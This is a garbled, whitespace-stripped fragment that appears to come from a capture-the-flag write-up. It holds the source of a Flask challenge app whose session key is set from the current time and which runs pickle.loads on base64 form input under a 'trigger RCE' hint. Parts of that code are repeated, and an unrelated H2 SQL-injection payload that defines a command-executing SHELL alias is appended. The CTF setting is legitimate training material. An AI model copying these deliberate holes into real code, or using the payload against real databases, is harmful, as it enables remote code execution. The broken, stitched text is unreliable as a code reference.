importpickleimportbase64fromflaskimportFlask,session,request,send_filefromdatetimeimportdatetimefrompytzimporttimezonecurrentDateAndTime=datetime.now(timezone('Asia/Shanghai'))currentTime=currentDateAndTime.strftime("%H%M%S")app=Flask(__name__)# Tips: Try to crack this first ↓app.config['SECRET_KEY']=currentTimeprint(currentTime)@app.route('/')defindex():session['username']='guest'returnsend_file('app.py')@app.route('/flag',methods=['GET','POST'])defflag():ifnotsession:return'There is no session available in your client :('ifrequest.method=='GET':return'You are {} now'.format(session['username'])# For POST requests from adminifsession['username']=='admin':pickle_data=base64.b64decode(request.form.get('pickle_data'))# Tips: Here try to trigger RCEuserdata=pickle.loads(pickle_data)returnuserdataelse:return'Access Denied'if__name__=='__main__':app.run(debug=True,host="0.0.0.0")
currentDateAndTime=datetime.now(timezone('Asia/Shanghai'))currentTime=currentDateAndTime.strftime("%H%M%S")app=Flask(__name__)# Tips: Try to crack this first ↓app.config['SECRET_KEY']=currentTime
@app.route('/flag',methods=['GET','POST'])defflag():......# For POST requests from adminifsession['username']=='admin':pickle_data=base64.b64decode(request.form.get('pickle_data'))# Tips: Here try to trigger RCEuserdata=pickle.loads(pickle_data)returnuserdata...
a'; CREATE ALIAS SHELL AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}';'